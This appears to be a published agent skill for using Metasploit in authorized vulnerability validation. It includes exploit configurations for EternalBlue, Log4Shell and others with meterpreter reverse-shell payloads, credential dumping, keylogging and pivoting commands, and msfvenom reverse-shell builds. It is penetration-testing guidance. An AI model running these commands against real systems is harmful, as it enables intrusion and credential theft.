What it does. Uses the Metasploit Framework (msfconsole and its exploit, auxiliary, Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Upstream	mukul975/Anthropic-Cybersecurity-Skills
Skill file	skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md
License	Apache-2.0 (skill folder LICENSE)
Author	mukul975
Fetched	2026-09-10

Install

• npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-vulnerabilities-with-metasploit-framework, or copy the skill folder into ~/.claude/skills/exploiting-vulnerabilities-with-metasploit-framework/.
• Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md

SKILL.md (verbatim)

name: exploiting-vulnerabilities-with-metasploit-framework
description: Uses the Metasploit Framework (msfconsole and its exploit, auxiliary,
  and post-exploitation modules) to validate that identified CVEs and vulnerabilities
  are actually exploitable, gather post-exploitation evidence, and confirm patch
  remediation. Use when performing vulnerability management validation, penetration
  testing, or post-patch verification and you need to prove real-world exploitability
  rather than rely on a scanner score alone.
domain: cybersecurity
subdomain: vulnerability-management
tags:
- vulnerability-management
- cve
- metasploit
- exploitation
- penetration-testing
- risk
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- ID.RA-01
- ID.RA-02
- ID.IM-02
- ID.RA-06
mitre_attack:
- T1190
- T1203
- T1068

Exploiting Vulnerabilities with Metasploit Framework

Overview

The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.

When to Use

• When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework
• When analyzing malware samples or attack artifacts in a controlled environment
• When conducting red team exercises or penetration testing engagements
• When building detection capabilities based on offensive technique understanding

Prerequisites

• Metasploit Framework installed (Kali Linux or standalone)
• PostgreSQL database for session/credential management
• Written authorization and rules of engagement for testing
• Isolated test environment or approved production testing window
• Understanding of networking, protocols, and exploitation concepts

Core Concepts

Metasploit Architecture

• msfconsole: Primary interactive command-line interface
• Exploits: Modules that leverage vulnerabilities to gain access
• Payloads: Code executed on the target after successful exploitation
• Auxiliary: Scanning, fuzzing, and information gathering modules
• Post-Exploitation: Modules for privilege escalation, persistence, pivoting
• Encoders: Payload encoding to evade signature-based detection
• Nops: No-operation generators for payload alignment

Exploitation Workflow in Vulnerability Management

Unlike offensive red teaming, vulnerability management uses Metasploit to:

1. Validate scanner findings (confirm exploitability)
2. Demonstrate risk to business stakeholders
3. Prioritize remediation based on proven exploitation paths
4. Verify patches by confirming exploits no longer succeed

Workflow

Step 1: Initialize Metasploit Environment

# Start PostgreSQL and initialize database
sudo systemctl start postgresql
sudo msfdb init

# Launch msfconsole
msfconsole -q

# Verify database connection
msf6> db_status
msf6> workspace -a vuln_validation_2025

# Import vulnerability scan results
msf6> db_import /path/to/nessus_scan.nessus
msf6> hosts
msf6> vulns

Step 2: Validate Specific Vulnerabilities

# Example: Validate MS17-010 (EternalBlue) from scan findings
msf6> search type:exploit name:ms17_010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50
msf6> set LPORT 4444

# Use check command first (non-exploitative validation)
msf6> check
# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!

# Only exploit if check confirms vulnerability and authorized
msf6> exploit

# Example: Validate Apache Struts RCE (CVE-2017-5638)
msf6> use exploit/multi/http/struts2_content_type_ognl
msf6> set RHOSTS target.example.com
msf6> set RPORT 8080
msf6> set TARGETURI /showcase.action
msf6> check

# Example: Validate Log4Shell (CVE-2021-44228)
msf6> use exploit/multi/http/log4shell_header_injection
msf6> set RHOSTS target.example.com
msf6> set HTTP_HEADER X-Api-Version
msf6> check

Step 3: Auxiliary Scanning for Validation

# SMB vulnerability scanning
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6> set RHOSTS 192.168.1.0/24
msf6> set THREADS 10
msf6> run

# SSL/TLS vulnerability checks
msf6> use auxiliary/scanner/ssl/openssl_heartbleed
msf6> set RHOSTS target.example.com
msf6> run

# HTTP vulnerability validation
msf6> use auxiliary/scanner/http/dir_listing
msf6> set RHOSTS target.example.com
msf6> run

# Database authentication testing
msf6> use auxiliary/scanner/mssql/mssql_login
msf6> set RHOSTS db-server.corp.local
msf6> set USERNAME sa
msf6> set PASSWORD ""
msf6> run

Step 4: Post-Exploitation Impact Assessment

# After successful exploitation, demonstrate impact
meterpreter> getuid
meterpreter> sysinfo
meterpreter> hashdump
meterpreter> run post/multi/gather/env
meterpreter> run post/windows/gather/enum_patches
meterpreter> run post/windows/gather/credentials/credential_collector

# Network pivoting demonstration
meterpreter> run post/multi/manage/autoroute
meterpreter> run auxiliary/server/socks_proxy

# Screenshot for evidence
meterpreter> screenshot
meterpreter> keyscan_start

Step 5: Document and Report Findings

# Export exploitation evidence
msf6> vulns -o /tmp/validated_vulns.csv
msf6> hosts -o /tmp/compromised_hosts.csv
msf6> creds -o /tmp/captured_creds.csv
msf6> loot -o /tmp/captured_loot.csv

# Generate report from database
msf6> db_export -f xml /tmp/msf_report.xml

Step 6: Post-Patch Verification

# After remediation, verify exploit no longer works
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.100
msf6> check
# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.
# Patch verified successfully

Safety Controls

1. Always use check command before exploit when available
2. Set AutoRunScript for clean session management
3. Use EXITFUNC=thread to prevent crashing target services
4. Limit payload capabilities to minimum needed for validation
5. Document every action for audit trail and evidence
6. Use workspace isolation per engagement
7. Never run Metasploit against unauthorized targets

Best Practices

1. Start with vulnerability check modules before exploitation
2. Use Metasploit to validate top-priority scanner findings only
3. Coordinate with system owners for testing windows
4. Maintain detailed logs of all exploitation attempts
5. Clean up all artifacts and sessions after testing
6. Use results to create compelling risk narratives for stakeholders
7. Integrate Metasploit validation into vulnerability management workflow

Common Pitfalls

• Exploiting without written authorization (legal liability)
• Using exploitation on production systems without coordination
• Not cleaning up Meterpreter sessions and artifacts
• Confusing vulnerability validation with penetration testing scope
• Using outdated Metasploit modules against patched systems
• Failing to document exploitation evidence for remediation teams

Related Skills

• performing-red-team-validated-vulnerability-testing
• scanning-infrastructure-with-nessus
• performing-network-vulnerability-assessment

Other files in this skill

• LICENSE
• assets/template.md
• references/api-reference.md
• references/standards.md
• references/workflows.md
• scripts/agent.py
• scripts/process.py

assets/template.md (verbatim)

Metasploit Vulnerability Validation Report Template

Engagement Details

Field	Value
Engagement Type	Vulnerability Validation
Authorization	[Document Reference]
Testing Window	[Start] to [End]
Tester	[Name]
Tool	Metasploit Framework [version]

Validation Summary

Metric	Count
CVEs Tested	[N]
Confirmed Exploitable	[N]
Not Exploitable	[N]
Inconclusive	[N]
No Module Available	[N]

Confirmed Exploitable Vulnerabilities

[CVE-ID] - [Vulnerability Name]

• Module: [exploit/category/module_name]
• Target: [IP:Port]
• Impact: [RCE/Auth Bypass/Info Disclosure]
• Exploitation Evidence: [Screenshot/Output reference]
• Business Risk: [Description of real-world impact]
• Remediation: [Specific patch or mitigation]

Post-Validation Recommendations

1. [Prioritized remediation actions based on confirmed exploitation]
2. [Network segmentation recommendations]
3. [Detection rule recommendations for confirmed attack paths]

references/api-reference.md (verbatim)

API Reference: Metasploit Framework

msfconsole Commands

Module Search

search type:exploit platform:windows cve:2021
search name:eternalblue

Module Usage

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.1
set LHOST 10.10.10.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
check
exploit

Resource Scripts

msfconsole -q -r exploit.rc

Module Types

Type	Path	Purpose
exploit	exploit/	Deliver payloads
auxiliary	auxiliary/	Scanning, fuzzing
post	post/	Post-exploitation
payload	payload/	Shellcode/agents
encoder	encoder/	Evasion encoding

Common Exploit Modules

CVE	Module	Target
CVE-2017-0144	exploit/windows/smb/ms17_010_eternalblue	SMBv1
CVE-2019-0708	exploit/windows/rdp/cve_2019_0708_bluekeep_rce	RDP
CVE-2021-44228	exploit/multi/http/log4shell_header_injection	Log4j
CVE-2020-1472	exploit/windows/dcerpc/zerologon	Netlogon
CVE-2021-34527	exploit/windows/dcerpc/cve_2021_1675_printnightmare	Print Spooler

Meterpreter Commands

System

sysinfo          # System information
getuid           # Current user
getsystem        # Privilege escalation
hashdump         # Dump password hashes

File System

upload /local/file /remote/path
download /remote/file /local/path

Network

portfwd add -l 8080 -p 80 -r 10.10.10.2
route add 10.10.20.0 255.255.255.0 1

Metasploit REST API

Authentication

POST https://msf:3790/api/v1/auth/account
Content-Type: application/json

{"username": "msf", "password": "password"}

List Modules

GET https://msf:3790/api/v1/modules/exploits
Authorization: Token {token}

Run Module

POST https://msf:3790/api/v1/modules/execute
Authorization: Token {token}

{
  "module_type": "exploit",
  "module_name": "exploit/windows/smb/ms17_010_eternalblue",
  "datastore": {"RHOSTS": "10.10.10.1"}
}

msfvenom — Payload Generation

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f elf -o shell.elf

references/standards.md (verbatim)

Standards and References - Metasploit Framework

Industry Standards

• PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
• OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/
• NIST SP 800-115: Technical Guide to Information Security Testing and Assessment
• OSSTMM v3: Open Source Security Testing Methodology Manual

Metasploit Documentation

• Metasploit Framework Docs: https://docs.rapid7.com/metasploit/
• Metasploit Unleashed (OffSec): https://www.offsec.com/metasploit-unleashed/
• Metasploit GitHub: https://github.com/rapid7/metasploit-framework
• Module Development Guide: https://docs.metasploit.com/docs/development/developing-modules.html

Key msfconsole Commands Reference

Command	Purpose
search	Search modules by name, CVE, platform
use	Select a module
show options	Display module configuration
set/setg	Set module/global variables
check	Verify vulnerability without exploitation
exploit/run	Execute the module
sessions	List active sessions
db_import	Import scan results (Nessus, Nmap, etc.)
vulns	List known vulnerabilities from database
workspace	Manage engagement workspaces

Legal Considerations

• Always obtain written authorization before testing
• Define scope, rules of engagement, and emergency contacts
• Document all activities for legal protection
• Follow responsible disclosure for any new findings
• Comply with local computer misuse laws

references/workflows.md (verbatim)

Workflows - Metasploit Vulnerability Exploitation

Workflow 1: Vulnerability Validation Pipeline

┌───────────────┐   ┌───────────────┐   ┌───────────────┐
│ Import Scan   │──>│ Filter Top    │──>│ Search MSF    │
│ Results to DB │   │ Priority CVEs │   │ Modules       │
└───────────────┘   └───────────────┘   └───────────────┘
                                              │
       ┌─────────────────────────────────────┘
       v
┌───────────────┐   ┌───────────────┐   ┌───────────────┐
│ Run `check`   │──>│ Exploit if    │──>│ Document      │
│ Command       │   │ Authorized    │   │ Evidence      │
└───────────────┘   └───────────────┘   └───────────────┘
       │
       v
┌───────────────┐   ┌───────────────┐
│ Update Risk   │──>│ Prioritize    │
│ Assessment    │   │ Remediation   │
└───────────────┘   └───────────────┘

Workflow 2: Patch Verification

Patch Deployed
    │
    ├──> Re-run `check` command against patched host
    │        │
    │        ├──> NOT VULNERABLE → Patch verified ✓
    │        └──> STILL VULNERABLE → Patch failed ✗
    │                 │
    │                 └──> Escalate to remediation team
    │
    └──> Re-run auxiliary scanner
             │
             ├──> No findings → Remediation confirmed
             └──> Findings persist → Incomplete patch

Workflow 3: Metasploit Module Selection

CVE Identified
    │
    ├──> search cve:CVE-YYYY-NNNNN
    │        │
    │        ├──> Exploit module found → Use for validation
    │        ├──> Auxiliary scanner found → Use for bulk check
    │        └──> No module found → Manual validation required
    │
    └──> Alternative: search for related modules
             │
             ├──> search type:exploit platform:windows target:smb
             └──> search type:auxiliary name:scanner

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.